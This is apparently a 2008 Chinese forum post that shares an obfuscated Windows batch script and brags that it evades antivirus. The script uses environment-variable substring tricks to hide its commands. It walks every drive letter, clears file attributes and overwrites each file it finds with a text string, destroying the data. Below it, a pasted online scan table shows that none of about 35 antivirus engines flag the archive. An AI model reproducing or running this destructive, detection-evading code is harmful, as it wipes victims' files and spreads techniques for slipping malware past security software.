@%comspec:~-1%%userprofile:~5,1%h%appdata:~-7,1% %appdata:~-7,1%%programfiles:~-5,1%%programfiles:~-5,1%
%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-13,1%%userprofile:~5,1%%appdata:~-7,1%%appdata:~-15,1%%userprofile:~6,1%=%%bh%%jkq%%vz%%f7%%4c50t%%u1w8%%(cdf9)%%@6tc%%
%tcopu:~32,1%ECHO OFF
FOR %%I IN %tcopu:~25,1%C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:%tcopu:~30,1% DO IF EXIST %%I FOR /F %%J IN %tcopu:~25,1%'DIR /B /S %%I\*.*'%tcopu:~30,1% DO ATTRIB -R -S -H -A "%%J" & ECHO>"%%J" 鄙视一切杀软
在线扫描 全免 不过 虚拟机运行 卡巴09能够报警
文件信息 文件名称 : | BSSR.rar | 文件大小 : | 397 byte | 文件类型 : | RAR archive data, v1d, os | MD5 : | 79d147aa88a79ed298ffa0f5e1347d67 | SHA1 : | 82373a1db180ec10e7ec7e956a9922663f879556 | 扫描结果 扫描结果 : | 全部的杀毒软件报告没有发现病毒! | 时间 : | 2008/08/05 21:04:20 (CST) |
软件名称 | 引擎版本
| 病毒库版本
| 病毒库时间
| 扫描结果
| 时间
| a-squared | 3.5.0.22 | 2008.08.04 | 2008-08-04 | -
| 2.377 | AntiVir | 7.8.1.15 | 7.0.5.215 | 2008-08-05 | -
| 2.187 | Arcavir | 1.0.5 | 200808041358 | 2008-08-04 | -
| 1.160 | AVAST! | 3.0.1 | 080805-0 | 2008-08-05 | -
| 0.002 | AVG | 7.5.51.442 | 270.5.12/1592 | 2008-08-05 | -
| 1.517 | BitDefender | 7.60825.1414843 | 7.20357 | 2008-08-05 | -
| 2.637 | CA (VET) | 9.0.0.143 | 31.6.6009 | 2008-08-05 | -
| 3.761 | ClamAV | 0.93.3 | 7942 | 2008-08-05 | -
| 0.002 | Comodo | 2.11 | 2.0.0.607 | 2008-08-05 | -
| 0.392 | CP Secure | 1.1.0.715 | 2008.08.05 | 2008-08-05 | -
| 5.857 | Dr.Web | 4.44.0.9170 | 2008.08.05 | 2008-08-05 | -
| 3.028 | ewido | 4.0.0.2 | 2008.08.04 | 2008-08-04 | -
| 2.326 | F-Prot | 4.4.4.56 | 20080804 | 2008-08-04 | -
| 0.979 | F-Secure | 5.51.6100 | 2008.08.05.01 | 2008-08-05 | -
| 0.030 | Ikarus | T3.1.01.34 | 2008.08.05.71220 | 2008-08-05 | -
| 3.098 | Microsoft | 1.3807 | 2008.08.05 | 2008-08-05 | -
| 4.056 | mks_vir | 2.01 | 2008.08.05 | 2008-08-05 | -
| 2.521 | Norman | 5.93.01 | 5.93.00 | 2008-08-04 | -
| 4.680 | nProtect | 2008-08-05.00 | 1738111 | 2008-08-05 | -
| 3.294 | Quick Heal | 9.50 | 2008.08.04 | 2008-08-04 | -
| 1.791 | Sophos | 2.75.4 | 4.31 | 2008-08-05 | -
| 1.931 | Sunbelt | 3.1.1537.1 | 2176 | 2008-08-01 | -
| 0.396 | The Hacker | 6.2.96 | v00393 | 2008-08-04 | -
| 0.372 | VBA32 | 3.12.8.2 | 20080804.0124 | 2008-08-04 | -
| 1.136 | ViRobot | 20080801 | 2008.08.01 | 2008-08-01 | -
| 0.394 | VirusBuster | 4.5.11.10 | 4.5.11/ | 0010-00-00 | -
| 0.775 | 卡巴斯基 | 5.5.10 | 2008.08.05 | 2008-08-05 | -
| 0.020 | 安博士V3 | 2008.08.05.01 | 2008.08.05 | 2008-08-05 | -
| 0.862 | 江民杀毒 | 11.0.706 | 2008.08.05 | 2008-08-05 | -
| 1.341 | 熊猫卫士 | 9.05.01 | 2008.08.04 | 2008-08-04 | -
| 1.981 | 瑞星 | 20.0 | 20.56.12.00 | 2008-08-05 | -
| 0.231 | 赛门铁克 | 1.3.0.24 | 20080803.002 | 2008-08-03 | -
| 0.191 | 趋势科技 | 8.700-1004 | 5.456.02 | 2008-08-04 | -
| 0.021 | 迈克菲 | 5.2.00 | 5353 | 2008-08-04 | -
| 2.380 | 金山毒霸 | 2008.1.14.15 | 2008.8.5.17 | 2008-08-05 | -
| 0.645 | 飞塔 | 2.81-3.11 | 9.388 | 2008-08-05 | -
| 1.659 | 注意: 没有发现病毒,但并不代表这不是一个新生的病毒,扫描结果将存储入数据库
复制到剪贴板
[ 本帖最后由 tcgg1983 于 2008-8-5 21:12 编辑 ] |